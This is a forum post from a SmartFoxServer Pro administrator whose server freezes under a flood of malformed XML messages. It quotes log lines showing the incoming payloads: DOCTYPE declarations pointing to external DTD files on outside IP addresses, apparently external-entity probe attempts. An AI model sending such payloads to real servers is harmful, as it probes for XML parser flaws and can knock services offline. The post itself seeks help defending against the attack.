Server Attacks Malformed XML Requests
Posted: 08 Jan 2021, 01:26
My SmartFoxServer freeze after receiving message like this
I was already upgrade to SmartFoxServer Pro 1.6.20 patch it says can fix malformed xml but its still crashing the server, and when the attack stopped server will back to normal.
Code: Select all
[ INFO ][ SmartFoxServer.readIncomingMessages ] { DATA IN } : <!DOCTYPE vpruvbyo PUBLIC "help" "http://62.122.201.246/vpruvbyo.dtd">
[ WARNING ][ SmartFoxServer.dispatchEvent ] Malformed XML request, MSG: <!DOCTYPE vpruvbyo PUBLIC "help" "http://62.122.201.246/vpruvbyo.dtd">
From: /90.146.16.34
[ WARNING ][ SmartFoxServer.dispatchEvent ] Disconnecting: java.nio.channels.SocketChannel[connected local=/206.189.33.199:5588 remote=/90.146.16.34:59448]
[ INFO ][ SmartFoxServer.readIncomingMessages ] { DATA IN } : <!DOCTYPE mzytdjmrck PUBLIC "help" "http://187.94.16.59/mzytdjmrck.dtd">
[ FINE ][ SmartFoxServer.lostConnectionTask ] User [ java.nio.channels.SocketChannel[closed] ] removed
[ WARNING ][ SmartFoxServer.dispatchEvent ] Malformed XML request, MSG: <!DOCTYPE mzytdjmrck PUBLIC "help" "http://187.94.16.59/mzytdjmrck.dtd">
From: /90.146.16.34
[ WARNING ][ SmartFoxServer.dispatchEvent ] Disconnecting: java.nio.channels.SocketChannel[closed]
[ INFO ][ SmartFoxServer.readIncomingMessages ] { DATA IN } : <!DOCTYPE vyyledsfs PUBLIC "help" "http://178.150.237.198/vyyledsfs.dtd">
[ FINE ][ SmartFoxServer.lostConnectionTask ] User [ java.nio.channels.SocketChannel[closed] ] removed
[ WARNING ][ SmartFoxServer.dispatchEvent ] Malformed XML request, MSG: <!DOCTYPE vyyledsfs PUBLIC "help" "http://178.150.237.198/vyyledsfs.dtd">
From: /168.181.121.195
[ WARNING ][ SmartFoxServer.dispatchEvent ] Disconnecting: java.nio.channels.SocketChannel[closed]
[ INFO ][ SmartFoxServer.readIncomingMessages ] { DATA IN } : <!DOCTYPE zthlitlae PUBLIC "help" "http://220.247.174.237/zthlitlae.dtd">
[ FINE ][ SmartFoxServer.lostConnectionTask ] User [ java.nio.channels.SocketChannel[closed] ] removed
I was already upgrade to SmartFoxServer Pro 1.6.20 patch it says can fix malformed xml but its still crashing the server, and when the attack stopped server will back to normal.